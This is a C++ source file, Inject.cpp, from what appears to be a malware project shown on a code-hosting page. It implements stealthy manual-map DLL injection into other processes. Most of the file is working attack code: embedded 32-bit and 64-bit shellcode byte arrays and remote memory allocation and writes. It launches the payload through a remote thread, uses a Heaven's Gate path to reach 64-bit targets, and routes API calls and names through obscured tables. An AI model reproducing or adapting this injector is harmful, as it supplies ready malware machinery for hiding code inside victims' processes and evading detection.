-
Notifications
You must be signed in to change notification settings - Fork 394
/
Inject.cpp
203 lines (170 loc) · 12.7 KB
/
Inject.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#include "inject.h"
#if HEAVENS_GATE && !_WIN64
#include "wow64ext\wow64ext.h"
#else
DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...) { return 0; }
DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName) { return 0; }
DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName) { return 0; }
DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { return 0; }
BOOL __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) { return 0; }
#endif
struct InjectData32
{
DWORD base;
DWORD baseRelocation;
DWORD importDesc;
DWORD aRtlInitAnsiString;
DWORD aRtlAnsiStringToUnicodeString;
DWORD aLdrLoadDll;
DWORD aLdrGetProcedureAddress;
DWORD aRtlFreeUnicodeString;
};
struct InjectData64
{
DWORD64 base;
DWORD64 baseRelocation;
DWORD64 importDesc;
DWORD64 aRtlInitAnsiString;
DWORD64 aRtlAnsiStringToUnicodeString;
DWORD64 aLdrLoadDll;
DWORD64 aLdrGetProcedureAddress;
DWORD64 aRtlFreeUnicodeString;
};
//to find out how these payloads were generated check out the CreateDllInjectPayload folder
static const DWORD payloadSize32 = 352;
static const BYTE payload32[] = { 0x55, 0x8b, 0xec, 0x83, 0xe4, 0xf8, 0x83, 0xec, 0x2c, 0x53, 0x56, 0x8b, 0x75, 0x08, 0x57, 0x8b, 0x1e, 0x8b, 0x7e, 0x04, 0x8b, 0x43, 0x3c, 0x03, 0xc3, 0x89, 0x44, 0x24, 0x1c, 0x2b, 0x58, 0x34, 0x83, 0x3f, 0x00, 0x74, 0x5f, 0x8d, 0x47, 0x04, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x00, 0x83, 0xf8, 0x08, 0x72, 0x46, 0x83, 0xc0, 0xf8, 0xd1, 0xe8, 0x89, 0x44, 0x24, 0x10, 0xba, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x0f, 0xb7, 0x44, 0x57, 0x08, 0x8b, 0xc8, 0xc1, 0xe8, 0x0c, 0x81, 0xe1, 0xff, 0x0f, 0x00, 0x00, 0x83, 0xf8, 0x03, 0x74, 0x13, 0x83, 0xf8, 0x0a, 0x75, 0x15, 0x8b, 0x07, 0x03, 0x06, 0x03, 0xc1, 0x01, 0x18, 0x83, 0x50, 0x04, 0x00, 0xeb, 0x07, 0x8b, 0x07, 0x03, 0x06, 0x01, 0x1c, 0x08, 0x42, 0x3b, 0x54, 0x24, 0x10, 0x72, 0xca, 0x8b, 0x44, 0x24, 0x14, 0x03, 0x38, 0x83, 0x3f, 0x00, 0x75, 0xa1, 0x8b, 0x5e, 0x08, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x4b, 0x0c, 0x85, 0xc9, 0x0f, 0x84, 0xa2, 0x00, 0x00, 0x00, 0x8b, 0x06, 0x03, 0xc1, 0x50, 0x8d, 0x44, 0x24, 0x34, 0x50, 0x8b, 0x46, 0x0c, 0xff, 0xd0, 0x6a, 0x01, 0x8d, 0x44, 0x24, 0x34, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x8b, 0x46, 0x10, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x44, 0x24, 0x24, 0x50, 0x8b, 0x46, 0x14, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x8b, 0x46, 0x1c, 0xff, 0xd0, 0x8b, 0x3b, 0x03, 0x3e, 0x8b, 0x5b, 0x10, 0x03, 0x1e, 0x8b, 0x0f, 0x85, 0xc9, 0x74, 0x40, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x07, 0x8b, 0x06, 0x83, 0xc0, 0x02, 0x03, 0xc1, 0x50, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x8b, 0x46, 0x0c, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x00, 0x8d, 0x44, 0x24, 0x30, 0x50, 0xff, 0x74, 0x24, 0x20, 0x8b, 0x46, 0x18, 0xff, 0xd0, 0x8b, 0x44, 0x24, 0x18, 0x83, 0xc7, 0x04, 0x89, 0x03, 0x8b, 0x0f, 0x83, 0xc3, 0x04, 0x85, 0xc9, 0x75, 0xc0, 0x8b, 0x5c, 0x24, 0x10, 0x83, 0xc3, 0x14, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x4b, 0x0c, 0x85, 0xc9, 0x0f, 0x85, 0x5e, 0xff, 0xff, 0xff, 0x8b, 0x44, 0x24, 0x1c, 0x8b, 0x0e, 0x8b, 0x40, 0x28, 0x6a, 0x00, 0x6a, 0x01, 0x51, 0x03, 0xc1, 0xff, 0xd0, 0x5f, 0x5e, 0x33, 0xc0, 0x5b, 0x8b, 0xe5, 0x5d, 0xc2, 0x04, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, };
static const DWORD payloadSize64 = 432;
static const BYTE payload64[] = { 0x40, 0x53, 0x55, 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x4c, 0x8b, 0x19, 0x4c, 0x8b, 0x41, 0x08, 0x48, 0x8b, 0xd9, 0x4d, 0x63, 0x73, 0x3c, 0x4d, 0x03, 0xf3, 0x4d, 0x2b, 0x5e, 0x30, 0x41, 0x83, 0x38, 0x00, 0x74, 0x65, 0x41, 0x8b, 0x40, 0x04, 0x83, 0xf8, 0x08, 0x72, 0x4f, 0x48, 0x83, 0xe8, 0x08, 0x4d, 0x8d, 0x48, 0x08, 0x48, 0xd1, 0xe8, 0x85, 0xc0, 0x74, 0x40, 0x44, 0x8b, 0xd0, 0x90, 0x41, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, 0xc1, 0xe8, 0x0c, 0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x83, 0xf8, 0x03, 0x74, 0x15, 0x83, 0xf8, 0x0a, 0x75, 0x1a, 0x41, 0x8b, 0x08, 0x8b, 0xc2, 0x48, 0x03, 0xc8, 0x48, 0x03, 0x0b, 0x4c, 0x01, 0x19, 0xeb, 0x0a, 0x41, 0x8b, 0x00, 0x03, 0x03, 0x03, 0xc2, 0x44, 0x01, 0x18, 0x49, 0x83, 0xc1, 0x02, 0x49, 0xff, 0xca, 0x75, 0xc4, 0x41, 0x8b, 0x40, 0x04, 0x4c, 0x03, 0xc0, 0x41, 0x83, 0x38, 0x00, 0x75, 0x9b, 0x48, 0x8b, 0x6b, 0x10, 0x8b, 0x45, 0x0c, 0x85, 0xc0, 0x0f, 0x84, 0xeb, 0x00, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x58, 0x4c, 0x89, 0x7c, 0x24, 0x50, 0x49, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0xd0, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x48, 0x03, 0x13, 0xff, 0x53, 0x18, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x41, 0xb0, 0x01, 0xff, 0x53, 0x20, 0x4c, 0x8d, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x28, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xff, 0x53, 0x38, 0x8b, 0x7d, 0x00, 0x8b, 0x75, 0x10, 0x48, 0x03, 0x3b, 0x48, 0x03, 0x33, 0x48, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x55, 0x0f, 0x1f, 0x00, 0x49, 0x85, 0xcf, 0x74, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x0a, 0x48, 0x8b, 0x13, 0x48, 0x83, 0xc2, 0x02, 0x48, 0x03, 0xd1, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x53, 0x18, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x45, 0x33, 0xc0, 0xff, 0x53, 0x30, 0x48, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x89, 0x06, 0x48, 0x8b, 0x0f, 0x48, 0x83, 0xc6, 0x08, 0x48, 0x85, 0xc9, 0x75, 0xae, 0x8b, 0x45, 0x20, 0x48, 0x83, 0xc5, 0x14, 0x85, 0xc0, 0x0f, 0x85, 0x4f, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0x7c, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0xb4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0b, 0x41, 0x8b, 0x46, 0x28, 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x01, 0x48, 0x03, 0xc1, 0xff, 0xd0, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x60, 0x41, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, };
BOOL InjectDll(BYTE *dllBuffer, HANDLE hProcess, BOOL x64)
{
#ifndef _WIN64
if(!hProcess)
return FALSE;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *) dllBuffer;
IMAGE_NT_HEADERS64 *ntHeaders64;
IMAGE_NT_HEADERS32 *ntHeaders32;
if(x64)
ntHeaders64 = (IMAGE_NT_HEADERS64 *) (dllBuffer + dosHeader->e_lfanew);
else
ntHeaders32 = (IMAGE_NT_HEADERS32 *) (dllBuffer + dosHeader->e_lfanew);
DWORD64 dllRemoteAddress = NULL;
if(x64)
{
dllRemoteAddress = VirtualAllocEx64(hProcess, NULL, ntHeaders64->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
else
{
dllRemoteAddress = (DWORD64) Funcs::pVirtualAllocEx(hProcess, NULL, ntHeaders32->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
if(!dllRemoteAddress)
return FALSE;
DWORD64 payloadRemoteAddress = NULL;
if(x64)
{
payloadRemoteAddress = VirtualAllocEx64(hProcess, NULL, sizeof(InjectData64) + payloadSize64,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
else
{
payloadRemoteAddress = (DWORD64) Funcs::pVirtualAllocEx(hProcess, NULL, sizeof(InjectData32) + payloadSize32,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
if(!payloadRemoteAddress)
return FALSE;
PVOID injectData;
IMAGE_SECTION_HEADER *sectionHeader;
if(x64)
{
sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders64 + 1);
if(!WriteProcessMemory64(hProcess, dllRemoteAddress, dllBuffer, ntHeaders64->OptionalHeader.SizeOfHeaders, NULL))
return FALSE;
for(DWORD i = 0; i < ntHeaders64->FileHeader.NumberOfSections; ++i)
{
if(sectionHeader[i].SizeOfRawData == 0)
continue;
if(!WriteProcessMemory64(hProcess, dllRemoteAddress + sectionHeader[i].VirtualAddress,
dllBuffer + sectionHeader[i].PointerToRawData, sectionHeader[i].SizeOfRawData, NULL))
{
return FALSE;
}
}
InjectData64 injectData64;
injectData64.base = (DWORD64) dllRemoteAddress;
injectData64.baseRelocation = (DWORD64) dllRemoteAddress +
ntHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
injectData64.importDesc = (DWORD64) dllRemoteAddress +
ntHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD64 hNtdll64 = GetModuleHandle64((wchar_t *) Strs::wNtdll);
injectData64.aRtlInitAnsiString = GetProcAddress64(hNtdll64, (char *) Strs::rtlInitAnsiString);
injectData64.aRtlAnsiStringToUnicodeString = GetProcAddress64(hNtdll64, (char *) Strs::rtlAnsiStringToUnicodeString);
injectData64.aLdrLoadDll = GetProcAddress64(hNtdll64, (char *) Strs::ldrLoadDll);
injectData64.aLdrGetProcedureAddress = GetProcAddress64(hNtdll64, (char *) Strs::ldrGetProcedureAddress);
injectData64.aRtlFreeUnicodeString = GetProcAddress64(hNtdll64, (char *) Strs::rtlFreeUnicodeString);
injectData = &injectData64;
if(!WriteProcessMemory64(hProcess, (DWORD64) payloadRemoteAddress, injectData, sizeof(InjectData64), NULL))
return FALSE;
if(!WriteProcessMemory64(hProcess, (DWORD64) payloadRemoteAddress + sizeof(InjectData64), (LPVOID) payload64, payloadSize64, NULL))
return FALSE;
DWORD64 hThread;
struct CLIENT_ID { DWORD64 UniqueProcess; DWORD64 UniqueThread; };
CLIENT_ID clientId;
DWORD64 pRtlCreateUserThread = GetProcAddress64(hNtdll64, (char *) Strs::rtlCreateUserThread);
if(X64Call(pRtlCreateUserThread, 10, (DWORD64) hProcess, (DWORD64) NULL, (DWORD64) FALSE, (DWORD64) 0, (DWORD64) 0, (DWORD64) 0,
(DWORD64) payloadRemoteAddress + sizeof(InjectData64), (DWORD64) payloadRemoteAddress, (DWORD64) &hThread, (DWORD64) &clientId))
{
return FALSE;
}
}
else
{
sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders32 + 1);
if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) dllRemoteAddress, dllBuffer, ntHeaders32->OptionalHeader.SizeOfHeaders, NULL))
return FALSE;
for(DWORD i = 0; i < ntHeaders32->FileHeader.NumberOfSections; ++i)
{
if(sectionHeader[i].SizeOfRawData == 0)
continue;
if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) ((BYTE *) dllRemoteAddress + sectionHeader[i].VirtualAddress),
(PVOID) ((BYTE *) dllBuffer + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL))
{
return FALSE;
}
}
InjectData32 injectData32;
injectData32.base = (DWORD) dllRemoteAddress;
injectData32.baseRelocation = (DWORD) (IMAGE_BASE_RELOCATION *) ((BYTE *) dllRemoteAddress +
ntHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
injectData32.importDesc = (DWORD) (IMAGE_IMPORT_DESCRIPTOR *) ((BYTE *) dllRemoteAddress +
ntHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
HMODULE hNtdll = Funcs::pLoadLibraryA(Strs::ntdll);
injectData32.aRtlInitAnsiString = (DWORD) GetProcAddress(hNtdll, Strs::rtlInitAnsiString);
injectData32.aRtlAnsiStringToUnicodeString = (DWORD) GetProcAddress(hNtdll, Strs::rtlAnsiStringToUnicodeString);
injectData32.aLdrLoadDll = (DWORD) GetProcAddress(hNtdll, Strs::ldrLoadDll);
injectData32.aLdrGetProcedureAddress = (DWORD) GetProcAddress(hNtdll, Strs::ldrGetProcedureAddress);
injectData32.aRtlFreeUnicodeString = (DWORD) GetProcAddress(hNtdll, Strs::rtlFreeUnicodeString);
injectData = &injectData32;
if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) payloadRemoteAddress, injectData, sizeof(InjectData32), NULL))
return FALSE;
if(!Funcs::pWriteProcessMemory(hProcess, (BYTE *) payloadRemoteAddress + sizeof(InjectData32), (LPVOID) payload32, payloadSize32, NULL))
return FALSE;
OSVERSIONINFOEXA osVersion = { 0 };
osVersion.dwOSVersionInfoSize = sizeof(osVersion);
Funcs::pGetVersionExA((LPOSVERSIONINFOA) &osVersion);
if(osVersion.dwMajorVersion <= 5)
{
if(!Funcs::pCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, 0, NULL))
return FALSE;
}
else
{
HANDLE hThread;
CLIENT_ID clientId;
if(Funcs::pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, &hThread, &clientId))
return FALSE;
}
}
#endif
return TRUE;
}